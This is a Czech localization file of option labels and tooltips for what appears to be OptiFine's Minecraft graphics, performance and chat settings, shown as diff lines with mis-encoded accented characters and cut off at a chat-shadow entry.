+of.options.mipmap.bilinear=Bilineání +of.options.mipmap.linear=Lineární +of.options.mipmap.nearest=Nejbližší +of.options.mipmap.trilinear=Trilineární + +options.mipmapLevels.tooltip.1=Vizuální efekt, který dÄ›lá vzdálené objekty lepší +options.mipmapLevels.tooltip.2=vyhlazením texturových detailů. +options.mipmapLevels.tooltip.3= NE - žádné vyhlazení +options.mipmapLevels.tooltip.4= 1 - minimální vyhlazení +options.mipmapLevels.tooltip.5= Maximální - maximální vyhlazení +options.mipmapLevels.tooltip.6=Tato možnost vÄ›tÅ¡inou neovlivňuje výkon. + +of.options.MIPMAP_TYPE=Typ Mipmapy +of.options.MIPMAP_TYPE.tooltip.1=Vizuální efekty mohou udÄ›lat vzdálenÄ›jší objekty pÄ›knÄ›jší +of.options.MIPMAP_TYPE.tooltip.2=vyhlazováním a detailními texturami. +of.options.MIPMAP_TYPE.tooltip.3= Nejbližší - hrubé vyhlazování (nejrychlejší) +of.options.MIPMAP_TYPE.tooltip.4= Lineární - normální vyhlazování +of.options.MIPMAP_TYPE.tooltip.5= Bilineární - dobré vyhlazování +of.options.MIPMAP_TYPE.tooltip.6= Trilineární - nejlepší vyhlazování (nejpomalejší) + + +of.options.AA_LEVEL=Antialiasing +of.options.AA_LEVEL.tooltip.1=Antialiasing +of.options.AA_LEVEL.tooltip.2= NE - (výchozí) žádný Antialiasing (rychlé) +of.options.AA_LEVEL.tooltip.3= 2-16 - vyhlazené hrany a linie (pomalé) +of.options.AA_LEVEL.tooltip.4=Antialiasing vyhlazuje rozviklané hrany a +of.options.AA_LEVEL.tooltip.5=pÅ™echody ostrých barev. +of.options.AA_LEVEL.tooltip.6=Pokud je na ANO, může výraznÄ› zmenší FPS. +of.options.AA_LEVEL.tooltip.7=Ne vÅ¡echny úrovnÄ› jsou podporované vÅ¡emi grafickými kartami. +of.options.AA_LEVEL.tooltip.8=Efektivní po RESTARTU! + +of.options.AF_LEVEL=Antizotropní filtrování +of.options.AF_LEVEL.tooltip.1= Antizotropní filtrování +of.options.AF_LEVEL.tooltip.2= NE - (výchozí) standartní detaily textur (rychlé) +of.options.AF_LEVEL.tooltip.3= 2-16 - lepší detaily v mipmapovaných texturách (pomalé) +of.options.AF_LEVEL.tooltip.4= Antizotropní Filtrování obnoví vÅ¡echny detaily v +of.options.AF_LEVEL.tooltip.5=mipmapovaných texturách. +of.options.AF_LEVEL.tooltip.6=Pokud je na ANO, výraznÄ› sníží FPS. + +of.options.CLEAR_WATER=ÄŒistá voda +of.options.CLEAR_WATER.tooltip.1= ÄŒistá voda +of.options.CLEAR_WATER.tooltip.2= ANO - Äistá, průhledná voda +of.options.CLEAR_WATER.tooltip.3= NE - výchozí voda + +of.options.RANDOM_ENTITIES=Náhodné entity +of.options.RANDOM_ENTITIES.tooltip.1= Náhodné entity +of.options.RANDOM_ENTITIES.tooltip.2= NE - žádné náhodné entity, rychlejší +of.options.RANDOM_ENTITIES.tooltip.3= ANO - náhodné entity, pomalejší +of.options.RANDOM_ENTITIES.tooltip.4=Funkce náhodné entity používá náhodnÄ› textury pro entity ve hÅ™e. +of.options.RANDOM_ENTITIES.tooltip.5=Vyžaduje balíÄek textur, který má více textur entit. + +of.options.BETTER_GRASS=Lepší trávník +of.options.BETTER_GRASS.tooltip.1=Lepší trávník +of.options.BETTER_GRASS.tooltip.2= NE - výchozí strana trávníku, rychlejší +of.options.BETTER_GRASS.tooltip.3= Rychlá - plná strana trávníku, pomalejší +of.options.BETTER_GRASS.tooltip.4= PÄ›kná - dynamická strana trávníku, nejpomalejší + +of.options.BETTER_SNOW=Lepší sníh +of.options.BETTER_SNOW.tooltip.1=Lepší sníh +of.options.BETTER_SNOW.tooltip.2= NE - výchozí sníh, rychlejší +of.options.BETTER_SNOW.tooltip.3= ANO - lepší sníh, pomalejší +of.options.BETTER_SNOW.tooltip.4=Zobrazuje sníh pod průhlednými bloky (plot, vysoká tráva) +of.options.BETTER_SNOW.tooltip.5=když sousedí se snÄ›hovými bloky. + +of.options.CUSTOM_FONTS=Vlastní písmo +of.options.CUSTOM_FONTS.tooltip.1= Vlastní písmo +of.options.CUSTOM_FONTS.tooltip.2= ANO - používá vlastní písmo (výchozí), pomalejší +of.options.CUSTOM_FONTS.tooltip.3= NE - používá výchozí písmo, rychlejší +of.options.CUSTOM_FONTS.tooltip.4=Vlastní písmo záleží na vybraném +of.options.CUSTOM_FONTS.tooltip.5=balíÄku zdrojů. + +of.options.CUSTOM_COLORS=Vlastní barvy +of.options.CUSTOM_COLORS.tooltip.1= Vlastní barvy +of.options.CUSTOM_COLORS.tooltip.2= ANO - používá vlastní barvy (výchozí), pomalejší +of.options.CUSTOM_COLORS.tooltip.3= NE - používá výchozí barvy, rychlejší +of.options.CUSTOM_COLORS.tooltip.4=Vlastní barvy záleží na vybraném +of.options.CUSTOM_COLORS.tooltip.5=balíÄku zdrojů. + +of.options.SWAMP_COLORS=Barvy v bažinách +of.options.SWAMP_COLORS.tooltip.1= Barvy v bažinách +of.options.SWAMP_COLORS.tooltip.2= ANO - používá barvy v bažinách (výchozí), pomalejší +of.options.SWAMP_COLORS.tooltip.3= NE - nepoužívá barvy v bažinách, rychlejší +of.options.SWAMP_COLORS.tooltip.4=Barvy v bažinách ovlivňují trávník, listy, lijány a vodu. + +of.options.SMOOTH_BIOMES=Vyhlazené biomy +of.options.SMOOTH_BIOMES.tooltip.1=Vyhlazené biomy +of.options.SMOOTH_BIOMES.tooltip.2= ANO - vyhlazování hranic biomů (výchozí), pomalejší +of.options.SMOOTH_BIOMES.tooltip.3= NE - žádné vyhlazování hranic biomů, rychlejší +of.options.SMOOTH_BIOMES.tooltip.4=Vyhlazování hranic biomů je udÄ›láno vzorkováním +of.options.SMOOTH_BIOMES.tooltip.5=a průmÄ›rováním barev vÅ¡ech sousedících bloků. +of.options.SMOOTH_BIOMES.tooltip.6=Ovlivňuje trávník, listí, lijány a vodu. + +of.options.CONNECTED_TEXTURES=Spojené textury +of.options.CONNECTED_TEXTURES.tooltip.1=Spojené textury +of.options.CONNECTED_TEXTURES.tooltip.2= NE - žádné spojené textury (výchozí), rychlejší +of.options.CONNECTED_TEXTURES.tooltip.3= Rychlá - rychle spojené textury +of.options.CONNECTED_TEXTURES.tooltip.4= PÄ›kná - pÄ›knÄ› spojené textury +of.options.CONNECTED_TEXTURES.tooltip.5=Spojené textury spojují textury skla, +of.options.CONNECTED_TEXTURES.tooltip.6=pískovce a knihoven když jsou +of.options.CONNECTED_TEXTURES.tooltip.7=vedle sebe. Spojené textury záleží +of.options.CONNECTED_TEXTURES.tooltip.8=na vybraném balíÄku zdrojů. + +of.options.NATURAL_TEXTURES=Naturální textury +of.options.NATURAL_TEXTURES.tooltip.1=Naturální textury +of.options.NATURAL_TEXTURES.tooltip.2= NE - žádné naturální textury, rychlejší +of.options.NATURAL_TEXTURES.tooltip.3= ANO - používá naturální textury +of.options.NATURAL_TEXTURES.tooltip.4=Naturální textury odstraňují vzor na hranách +of.options.NATURAL_TEXTURES.tooltip.5=vytvoÅ™en bloky stejných typů vedle sebe. +of.options.NATURAL_TEXTURES.tooltip.6=Používá otoÄené a pÅ™evrácené základy +of.options.NATURAL_TEXTURES.tooltip.7=textury bloků. Nastavení pro naturální textury +of.options.NATURAL_TEXTURES.tooltip.8=je ovlivňováno vybraným balíÄkem zdrojů. + +of.options.EMISSIVE_TEXTURES=Emisivní textury +of.options.EMISSIVE_TEXTURES.tooltip.1=Emisivní textury +of.options.EMISSIVE_TEXTURES.tooltip.2= NE - žádné emisivní textury (výchozí) +of.options.EMISSIVE_TEXTURES.tooltip.3= ANO - použít emisivní textury +of.options.EMISSIVE_TEXTURES.tooltip.4=Emisivní textury jsou renderovány jako pÅ™ekrytí +of.options.EMISSIVE_TEXTURES.tooltip.5=(s maximální září) textur. Mohou být použity na simulování +of.options.EMISSIVE_TEXTURES.tooltip.6=ploch, které mají zářit na textuÅ™e bez pÅ™ekrytí. +of.options.EMISSIVE_TEXTURES.tooltip.7=Emisivní textury záleží na vybraném +of.options.EMISSIVE_TEXTURES.tooltip.8=balíÄku zdrojů. + +of.options.CUSTOM_SKY=Vlastní obloha +of.options.CUSTOM_SKY.tooltip.1=Vlastní obloha +of.options.CUSTOM_SKY.tooltip.2= ANO - používá vlastní textury oblohy (výchozí), pomalejší +of.options.CUSTOM_SKY.tooltip.3= NE - výchozí obloha, rychlejší +of.options.CUSTOM_SKY.tooltip.4=Vlastní textura oblohy je ovlivňována vybraným +of.options.CUSTOM_SKY.tooltip.5=balíÄkem zdrojů. + +of.options.CUSTOM_ITEMS=Vlastní itemy +of.options.CUSTOM_ITEMS.tooltip.1=Vlastní itemy +of.options.CUSTOM_ITEMS.tooltip.2= ANO - vlastní textury itemů (výchozí), pomalejší +of.options.CUSTOM_ITEMS.tooltip.3= NE - výchozí textury itemů, rychlejší +of.options.CUSTOM_ITEMS.tooltip.4=Vlastní itemy záleží na vybraném +of.options.CUSTOM_ITEMS.tooltip.5=balíÄku zdrojů. + +of.options.CUSTOM_ENTITY_MODELS=Vlastní modely entit +of.options.CUSTOM_ENTITY_MODELS.tooltip.1=Vlastní modely entit +of.options.CUSTOM_ENTITY_MODELS.tooltip.2= ANO - vlastní modely entit (výchozí), pomalé +of.options.CUSTOM_ENTITY_MODELS.tooltip.3= NE - výchozí modely entit, rychlejší +of.options.CUSTOM_ENTITY_MODELS.tooltip.4=Vlastní modely entit záleží na vybraném +of.options.CUSTOM_ENTITY_MODELS.tooltip.5=balíÄku zdrojů. + +of.options.CUSTOM_GUIS=Vlastní GUI +of.options.CUSTOM_GUIS.tooltip.1=Vlastní uživatelské rozhraní +of.options.CUSTOM_GUIS.tooltip.2= ON - vlastní GUI (výchozí), pomalejší +of.options.CUSTOM_GUIS.tooltip.3= OFF - výchozí GUI, rychlejší +of.options.CUSTOM_GUIS.tooltip.4=Vlastní GUI záleží na vybraném resource packu. + +# Detaily + +of.options.CLOUDS=Mraky +of.options.CLOUDS.tooltip.1=Mraky +of.options.CLOUDS.tooltip.2= Výchozí - z nastavení grafiky +of.options.CLOUDS.tooltip.3= Rychlé - nižší kvalita, rychlejší +of.options.CLOUDS.tooltip.4= PÄ›kné - vyšší kvalita, pÄ›knÄ›jší +of.options.CLOUDS.tooltip.5= NE - žádné mraky, nejrychlejší +of.options.CLOUDS.tooltip.6=Rychlé mraky jsou 2D. +of.options.CLOUDS.tooltip.7=PÄ›kné mraky jsou 3D. + +of.options.CLOUD_HEIGHT=Výška mraků +of.options.CLOUD_HEIGHT.tooltip.1=Výška mraků +of.options.CLOUD_HEIGHT.tooltip.2= NE - výchozí výška +of.options.CLOUD_HEIGHT.tooltip.3= 100%% - nad limitem stavÄ›ní + +of.options.TREES=Stromy +of.options.TREES.tooltip.1=Stromy +of.options.TREES.tooltip.2= Výchozí - z nastavení grafiky +of.options.TREES.tooltip.3= Rychlá - nejnižší kvalita, nejrychlejší +of.options.TREES.tooltip.4= Chytrá - vyšší kvalita, rychlé +of.options.TREES.tooltip.5= PÄ›kná - nejvyšší kvalita, nejpomalejší +of.options.TREES.tooltip.6=Rychlé stromy nemají průhledné listí. +of.options.TREES.tooltip.7=PÄ›kné a Chytré stromy mají průhledné listí. + +of.options.RAIN=Sníh a déšť +of.options.RAIN.tooltip.1=Sníh a déšť +of.options.RAIN.tooltip.2= Výchozí - z nastavení grafiky +of.options.RAIN.tooltip.3= Rychlá - lehký sníh/déšť, rychlejší +of.options.RAIN.tooltip.4= PÄ›kná - velký sníh/déšť, pomalejší +of.options.RAIN.tooltip.5= NE - žádný sníh/déšť, nejrychlejší +of.options.RAIN.tooltip.6=Pokud je déšť vypnutý, jeho zvuky a Äástice dopadu +of.options.RAIN.tooltip.7=se stále objevují. + +of.options.SKY=Obloha +of.options.SKY.tooltip.1=Obloha +of.options.SKY.tooltip.2= ANO - obloha je viditelná, pomalejší +of.options.SKY.tooltip.3= NE - obloha nejde vidÄ›t, rychlejší +of.options.SKY.tooltip.4=Pokud je obloha vypnutá, mÄ›síc a slunce půjdou stále vidÄ›t. + +of.options.STARS=HvÄ›zdy +of.options.STARS.tooltip.1=HvÄ›zdy +of.options.STARS.tooltip.2= ANO - hvÄ›zdy jsou viditelné, pomalejší +of.options.STARS.tooltip.3= NE - hvÄ›zdy nejdou vidÄ›t, rychlejší + +of.options.SUN_MOON=Slunce a mÄ›síc +of.options.SUN_MOON.tooltip.1=Slunce a mÄ›síc +of.options.SUN_MOON.tooltip.2= ANO - slunce a mÄ›síc lze vidÄ›t (výchozí) +of.options.SUN_MOON.tooltip.3= NE - slunce a mÄ›síc nelze vidÄ›t, rychlejší + +of.options.SHOW_CAPES=Zobrazovat kápÄ› +of.options.SHOW_CAPES.tooltip.1=Zobrazovat kápÄ› +of.options.SHOW_CAPES.tooltip.2= ANO - zobrazovat kápÄ› hráÄů (výchozí) +of.options.SHOW_CAPES.tooltip.3= NE - nezobrazovat kápÄ› hráÄů + +of.options.TRANSLUCENT_BLOCKS=Průsvitné bloky +of.options.TRANSLUCENT_BLOCKS.tooltip.1=Průsvitné bloky +of.options.TRANSLUCENT_BLOCKS.tooltip.2= Výchozí - urÄuje nastavení grafiky +of.options.TRANSLUCENT_BLOCKS.tooltip.3= PÄ›kná - správné míchání barev (výchozí) +of.options.TRANSLUCENT_BLOCKS.tooltip.4= Rychlá - rychlé míchání barev (rychlejší) +of.options.TRANSLUCENT_BLOCKS.tooltip.5=Ovládá míchání barev průhledných bloků +of.options.TRANSLUCENT_BLOCKS.tooltip.6=s rozdílnou barvou (barevné sklo, voda, led) +of.options.TRANSLUCENT_BLOCKS.tooltip.7=když jsou položeny za sebou s mezerou mezi nimi. + +of.options.HELD_ITEM_TOOLTIPS=Popisek k drženému itemu +of.options.HELD_ITEM_TOOLTIPS.tooltip.1=Popisek k drženému itemu +of.options.HELD_ITEM_TOOLTIPS.tooltip.2= ANO - zobrazovat popisky (výchozí) +of.options.HELD_ITEM_TOOLTIPS.tooltip.3= NE - nezobrazovat popisky + +of.options.ADVANCED_TOOLTIPS=PokroÄilé popisky +of.options.ADVANCED_TOOLTIPS.tooltip.1=PokroÄilé popisky +of.options.ADVANCED_TOOLTIPS.tooltip.2= ANO - zobrazit pokroÄilé popisky +of.options.ADVANCED_TOOLTIPS.tooltip.3= NE - nezobrazovat pokroÄilé popisky (výchozí) +of.options.ADVANCED_TOOLTIPS.tooltip.4=PokroÄilé popisky zobrazí pokroÄilé informace pro +of.options.ADVANCED_TOOLTIPS.tooltip.5=itemy (id, durabilita) a pro možnosti stínů +of.options.ADVANCED_TOOLTIPS.tooltip.6=(id, zdroj, výchozí hodnota). + +of.options.DROPPED_ITEMS=Vyhozené itemy +of.options.DROPPED_ITEMS.tooltip.1=Vyhozené itemy +of.options.DROPPED_ITEMS.tooltip.2= Výchozí - podle nastavení grafiky +of.options.DROPPED_ITEMS.tooltip.3= Rychlá - vyhozené itemy ve 2D (rychlejší) +of.options.DROPPED_ITEMS.tooltip.4= PÄ›kná - vyhozené itemy ve 3D (pomalejší) + +options.entityShadows.tooltip.1=Stíny entit +options.entityShadows.tooltip.2= ANO - zobrazovat stíny entit +options.entityShadows.tooltip.3= NE - nezobrazovat stíny entit + +of.options.VIGNETTE=Ztmavení +of.options.VIGNETTE.tooltip.1=Vizuální efekt, který trochu ztmaví okraje obrazovky. +of.options.VIGNETTE.tooltip.2= Výchozí - záleží na nastavení grafiky (výchozí) +of.options.VIGNETTE.tooltip.3= Rychlá - ztmavení vypnuto (rychlejší) +of.options.VIGNETTE.tooltip.4= PÄ›kná - ztmavení zapnuto (pomalejší) +of.options.VIGNETTE.tooltip.5=Ztmavení může mít veliký vliv na FPS, +of.options.VIGNETTE.tooltip.6=speciálnÄ› pÅ™i hraní ve fullscreenu. +of.options.VIGNETTE.tooltip.7=Efekt ztmavení je velmi jemný a dá se bezpeÄnÄ› +of.options.VIGNETTE.tooltip.8=vypnout. + +of.options.DYNAMIC_FOV=Dynamické FOV +of.options.DYNAMIC_FOV.tooltip.1=Dynamické FOV +of.options.DYNAMIC_FOV.tooltip.2= ANO - zapne dynamické FOV (výchozí) +of.options.DYNAMIC_FOV.tooltip.3= NE - vypne dynamické FOV +of.options.DYNAMIC_FOV.tooltip.4=MÄ›ní pole pohledu (FOV) pÅ™i létání, sprintování +of.options.DYNAMIC_FOV.tooltip.5=nebo pÅ™i natahování luku. + +of.options.DYNAMIC_LIGHTS=Dynamické svÄ›tla +of.options.DYNAMIC_LIGHTS.tooltip.1=Dynamické svÄ›tla +of.options.DYNAMIC_LIGHTS.tooltip.2= NE - žádná dynamícká svÄ›tla (výchozí) +of.options.DYNAMIC_LIGHTS.tooltip.3= Rychlá - rychlá dynamická svÄ›tla (aktualizace každých 500ms) +of.options.DYNAMIC_LIGHTS.tooltip.4= PÄ›kná - pÄ›kná dynamická svÄ›tla (aktualizováno vždy) +of.options.DYNAMIC_LIGHTS.tooltip.5=Pokud je ANO a v ruce, na zemi nebo v ruce +of.options.DYNAMIC_LIGHTS.tooltip.6=jiného hráÄe je držen svítící item (louÄ, svÄ›tlit, atd.) +of.options.DYNAMIC_LIGHTS.tooltip.7=tak se osvÄ›tlí vÅ¡e kolem. + +options.biomeBlendRadius.tooltip.1=Vyhlazuje pÅ™echody barev mezi biomy +options.biomeBlendRadius.tooltip.2= NE - žádné vyhlazení (nejrychlejší) +options.biomeBlendRadius.tooltip.3= 5x5 - normální vyhlazení (výchozí) +options.biomeBlendRadius.tooltip.4= 15x15 - maximální vyhlazení (nejpomalejší) +options.biomeBlendRadius.tooltip.5=VÄ›tší hodnoty mohou Äasto generovat záseky +options.biomeBlendRadius.tooltip.6=a taky zpomalit generování svÄ›ta. + +# Výkon + +of.options.SMOOTH_FPS=Vyhlazené FPS +of.options.SMOOTH_FPS.tooltip.1=Stabilizuje FPS ÄiÅ¡tÄ›ním vyrovnávací pamÄ›ti grafického ovladaÄe. +of.options.SMOOTH_FPS.tooltip.2= NE - žádná stabilizace, FPS mohou kolísat +of.options.SMOOTH_FPS.tooltip.3= ANO - stabilizace FPS +of.options.SMOOTH_FPS.tooltip.4=Tato možnost záleží na grafickém adaptéru a jeho efekt +of.options.SMOOTH_FPS.tooltip.5=není vždy vidÄ›t. + +of.options.SMOOTH_WORLD=Vyhlazený svÄ›t +of.options.SMOOTH_WORLD.tooltip.1=Odstraní lagy způsobené interním serverem. +of.options.SMOOTH_WORLD.tooltip.2= NE - žádná stabilizace, FPS mohou kolísat +of.options.SMOOTH_WORLD.tooltip.3= ANO - stabilizace FPS +of.options.SMOOTH_WORLD.tooltip.4=Stabilizuje FPS rozdÄ›lením naÄítání svÄ›ta. +of.options.SMOOTH_WORLD.tooltip.5=Funguje jen na lokálních svÄ›tech (hra pro jednoho hráÄe). + +of.options.FAST_RENDER=Rychlý render +of.options.FAST_RENDER.tooltip.1=Rychlý render +of.options.FAST_RENDER.tooltip.2= NE - standardní render +of.options.FAST_RENDER.tooltip.3= ANO - vyvážený render (rychlejší) +of.options.FAST_RENDER.tooltip.4=Používáním vyváženÄ›ho renderovacího algoritmu se může snížít +of.options.FAST_RENDER.tooltip.5=využití GPU, což může zvýšit FPS. +of.options.FAST_RENDER.tooltip.6=Toto nastavení může vytvoÅ™it konflikt s nÄ›kterými módy. + +of.options.FAST_MATH=Rychlá matematika +of.options.FAST_MATH.tooltip.1=Rychlá matematika +of.options.FAST_MATH.tooltip.2= NE - standardní matematika +of.options.FAST_MATH.tooltip.3= ANO - rychlá matematika +of.options.FAST_MATH.tooltip.4=Používá vyvážené sin() a cos() funkce, což může +of.options.FAST_MATH.tooltip.5=lépe uspořádat grafickou mezipaměť a zvýšit FPS. +of.options.FAST_MATH.tooltip.6=Toto nastavení může minimálnÄ› ovlivnit generování svÄ›ta. + +of.options.CHUNK_UPDATES=NaÄítání chunků +of.options.CHUNK_UPDATES.tooltip.1=NaÄítání chunků +of.options.CHUNK_UPDATES.tooltip.2= 1 - pomalejší naÄítání svÄ›ta, vyšší FPS (výchozí) +of.options.CHUNK_UPDATES.tooltip.3= 3 - rychlejší naÄítání svÄ›ta, nižší FPS +of.options.CHUNK_UPDATES.tooltip.4= 5 - nejrychlejší naÄítání svÄ›ta, nejnižší FPS +of.options.CHUNK_UPDATES.tooltip.5=Číslo chunků naÄtených za 1 FPS, +of.options.CHUNK_UPDATES.tooltip.6=Vyšší hodnoty mohou FPS snížit. + +of.options.CHUNK_UPDATES_DYNAMIC=Dynamické naÄítání +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.1=Dynamické naÄítání chunků +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.2= NE - standardní poÄet chunků na FPS (výchozí) +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.3= ANO - více chunků, když se hrÃ¡Ä nehýbe +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.4=Dynamické naÄítání naÄte více chunků +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.5=když se hrÃ¡Ä nehýbe, svÄ›t se naÄte rychleji. + +of.options.LAZY_CHUNK_LOADING=Líné naÄítání chunků +of.options.LAZY_CHUNK_LOADING.tooltip.1=Pomalé naÄítání chunků +of.options.LAZY_CHUNK_LOADING.tooltip.2= NE - výchozí naÄítání serverových chunků +of.options.LAZY_CHUNK_LOADING.tooltip.3= ANO - pomalé naÄítání serverových chunků (plynulejší) +of.options.LAZY_CHUNK_LOADING.tooltip.4=UdÄ›lá plynulejší naÄítání chunků na integrovaném serveru +of.options.LAZY_CHUNK_LOADING.tooltip.5=jejich rozdÄ›lováním na nÄ›kolik tiků. +of.options.LAZY_CHUNK_LOADING.tooltip.6=Vypni to, pokud se nÄ›které Äásti svÄ›ta nenaÄtou správnÄ›. +of.options.LAZY_CHUNK_LOADING.tooltip.7=Efektivní pouze pro lokální svÄ›ty (single-player). + +of.options.RENDER_REGIONS=Render regiony +of.options.RENDER_REGIONS.tooltip.1=Render regiony +of.options.RENDER_REGIONS.tooltip.2= NE - nepoužívat render regiony (výchozí) +of.options.RENDER_REGIONS.tooltip.3= ANO - použít render regiony +of.options.RENDER_REGIONS.tooltip.4=Render regiony umožní rychlejší render terénu pÅ™i vyšších +of.options.RENDER_REGIONS.tooltip.5=viditelných vzdálenostech. EfektivnÄ›jsí pÅ™i zapnutém VBO. +of.options.RENDER_REGIONS.tooltip.6=Není doporuÄeno pro integrované grafické karty. + +of.options.SMART_ANIMATIONS=Chytré animace +of.options.SMART_ANIMATIONS.tooltip.1=Chytré animace +of.options.SMART_ANIMATIONS.tooltip.2= NE - nepoužívat chytré animace (výchozí) +of.options.SMART_ANIMATIONS.tooltip.3= ANO - používat chytré animace +of.options.SMART_ANIMATIONS.tooltip.4=Se zapnutými chytrými animacemi bude hra +of.options.SMART_ANIMATIONS.tooltip.5=animovat jen textury viditelné na obrazovce. +of.options.SMART_ANIMATIONS.tooltip.6=To sníží záseky a zvýší FPS. +of.options.SMART_ANIMATIONS.tooltip.7=Velmi užiteÄné pro velké mod packy a HD balíÄky zdrojů. + +# Animace + +of.options.animation.allOn=VÅ¡e ANO +of.options.animation.allOff=VÅ¡e NE +of.options.animation.dynamic=Dynamické + +of.options.ANIMATED_WATER=Animovaná voda +of.options.ANIMATED_LAVA=Animovaná láva +of.options.ANIMATED_FIRE=Animovaný oheň +of.options.ANIMATED_PORTAL=Animovaný portál +of.options.ANIMATED_REDSTONE=Animovaný redstone +of.options.ANIMATED_EXPLOSION=Animované exploze +of.options.ANIMATED_FLAME=Animovaný požár +of.options.ANIMATED_SMOKE=Animovaný kouÅ™ +of.options.VOID_PARTICLES=Částice voidu +of.options.WATER_PARTICLES=Částice vody +of.options.RAIN_SPLASH=Částice deÅ¡tÄ› +of.options.PORTAL_PARTICLES=Částice portálu +of.options.POTION_PARTICLES=Částice lektvarů +of.options.DRIPPING_WATER_LAVA=Tekoucí voda/láva +of.options.ANIMATED_TERRAIN=Animovaný terén +of.options.ANIMATED_TEXTURES=Animované textury +of.options.FIREWORK_PARTICLES=Částice rachejtle + +# Ostatní + +of.options.LAGOMETER=Lagometer +of.options.LAGOMETER.tooltip.1=Zobrazí lagometer na ladící obrazovce (F3). +of.options.LAGOMETER.tooltip.2=* Oranžová - Nasbíraný odpad v RAM (garbage collector) +of.options.LAGOMETER.tooltip.3=* SvÄ›tle Modrá - Tik +of.options.LAGOMETER.tooltip.4=* Modrá - Plánované soubory +of.options.LAGOMETER.tooltip.5=* Fialová - NaÄítání chunků +of.options.LAGOMETER.tooltip.6=* ÄŒervená - PÅ™ednaÄtené chunky +of.options.LAGOMETER.tooltip.7=* Žlutá - Kontrola viditelnosti +of.options.LAGOMETER.tooltip.8=* Zelená - NaÄítání terénu + +of.options.PROFILER=Ladící profil +of.options.PROFILER.tooltip.1=Ladící profil +of.options.PROFILER.tooltip.2= ANO - ladící profil je aktivní, pomalejší +of.options.PROFILER.tooltip.3= NE - ladící profil je neaktivní, rychlejší +of.options.PROFILER.tooltip.4=Ladící profil sbírá a zobrazuje informace když +of.options.PROFILER.tooltip.5=je otevÅ™ena ladící obrazovka (F3). + +of.options.WEATHER=PoÄasí +of.options.WEATHER.tooltip.1=PoÄasí +of.options.WEATHER.tooltip.2= ANO - poÄasí je aktivní, pomalejší +of.options.WEATHER.tooltip.3= NE - poÄasí je neaktivní, rychlejší +of.options.WEATHER.tooltip.4=PoÄasí ovládá deÅ¡tÄ›, sněžení a bouÅ™ky. +of.options.WEATHER.tooltip.5=Ovládání poÄasí je možné pouze pro lokální svÄ›ty. + +of.options.time.dayOnly=Pouze den +of.options.time.nightOnly=Pouze noc + +of.options.TIME=ÄŒas +of.options.TIME.tooltip.1=ÄŒas +of.options.TIME.tooltip.2= Výchozí - normální denní/noÄní cyklus +of.options.TIME.tooltip.3= Pouze den - pouze den +of.options.TIME.tooltip.4= Pouze noc - pouze noc +of.options.TIME.tooltip.5=Nastavení Äasu je efektivní jen v KREATIVNíM módu +of.options.TIME.tooltip.6=a pro lokální svÄ›ty. + +options.fullscreen.tooltip.1=Fullscreen +options.fullscreen.tooltip.2= ANO - použít celoobrázkový mód +options.fullscreen.tooltip.3= NE - použít mód v oknÄ› +options.fullscreen.tooltip.4=Fullscreen mód může být rychlejší nebo pomalejší než +options.fullscreen.tooltip.5=mód v oknÄ›, záleží na GPU. + +of.options.fullscreen.resolution=RozliÅ¡ení fullscreenu +of.options.fullscreen.resolution.tooltip.1=RozliÅ¡ení režimu celé obrazovky +of.options.fullscreen.resolution.tooltip.2= Výchozí - používá hlavní rozliÅ¡ení, pomalejší +of.options.fullscreen.resolution.tooltip.3= Å xV - používá vlastní rozliÅ¡ení, může být rychlejší +of.options.fullscreen.resolution.tooltip.4=Vybrané rozliÅ¡ení je používáno ve fullscreenu (F11). +of.options.fullscreen.resolution.tooltip.5=Nižší rozliÅ¡ení by mÄ›li být vÄ›tÅ¡inou rychlejší. + +of.options.SHOW_FPS=Zobrazit FPS +of.options.SHOW_FPS.tooltip.1=KompaktnÄ› zobrazí informace o FPS a renderu. +of.options.SHOW_FPS.tooltip.2= FPS - průmÄ›r/minimum +of.options.SHOW_FPS.tooltip.3= C: - naÄítání chunků +of.options.SHOW_FPS.tooltip.4= E: - naÄtené entity + blokové entity +of.options.SHOW_FPS.tooltip.5= U: - pÅ™ednaÄtené chunky +of.options.SHOW_FPS.tooltip.6=Informace o FPS se zobrazí jen, +of.options.SHOW_FPS.tooltip.7=když je ladící obrazovka (F3) zneviditelnÄ›ná. + +of.options.save.45s=45s +of.options.save.90s=90s +of.options.save.3min=3min +of.options.save.6min=6min +of.options.save.12min=12min +of.options.save.24min=24min + +of.options.AUTOSAVE_TICKS=Auto-ukládání +of.options.AUTOSAVE_TICKS.tooltip.1=Interval autosavu +of.options.AUTOSAVE_TICKS.tooltip.2= 45s - výchozí +of.options.AUTOSAVE_TICKS.tooltip.3=Autosave může způsobovat trhnání záležijící na dohledu. +of.options.AUTOSAVE_TICKS.tooltip.4=SvÄ›t se rovněž ukládá, když je menu pauzy otevÅ™ené. + +of.options.SCREENSHOT_SIZE=Velikost screenshotu +of.options.SCREENSHOT_SIZE.tooltip.1=Velikost snímku obrazovky +of.options.SCREENSHOT_SIZE.tooltip.2= Výchozí - výchozí velikost screenshotu +of.options.SCREENSHOT_SIZE.tooltip.3= 2x-4x - vlastní velikost screenshotu +of.options.SCREENSHOT_SIZE.tooltip.4=Focení vÄ›tších screenshotů může vyžadovat více RAM. +of.options.SCREENSHOT_SIZE.tooltip.5=Není kompatinilní s rychlým renderem a antialiasingem. +of.options.SCREENSHOT_SIZE.tooltip.6=Vyžaduje podporu GPU framebufferu. + +of.options.SHOW_GL_ERRORS=Zobrazit GL chyby +of.options.SHOW_GL_ERRORS.tooltip.1=Zobrazit OpenGL chyby +of.options.SHOW_GL_ERRORS.tooltip.2=Pokud nastaveno na ANO, OpenGL chyby se +of.options.SHOW_GL_ERRORS.tooltip.3=budou objevovat v chatu. Vypni jen když je +of.options.SHOW_GL_ERRORS.tooltip.4=chyba známa a víš, že se nedá opravit. +of.options.SHOW_GL_ERRORS.tooltip.5=Pokud NE, chyby jsou stále logovány v +of.options.SHOW_GL_ERRORS.tooltip.6=error logu a mohou způsobit znaÄný drop v FPS. + +# Chat Settings + +of.options.CHAT_BACKGROUND=Pozadí chatu +of.options.CHAT_BACKGROUND.tooltip.1=Pozadí chatu +of.options.CHAT_BACKGROUND.tooltip.2= Výchozí - stejná délka +of.options.CHAT_BACKGROUND.tooltip.3= Kompaktni - shoduje se z délkou textu +of.options.CHAT_BACKGROUND.tooltip.4= NE - bez pozadí + +of.options.CHAT_SHADOW=Stín v chatu +of.options.CHAT_SHADOW.tooltip.1=Stín písma v chatu 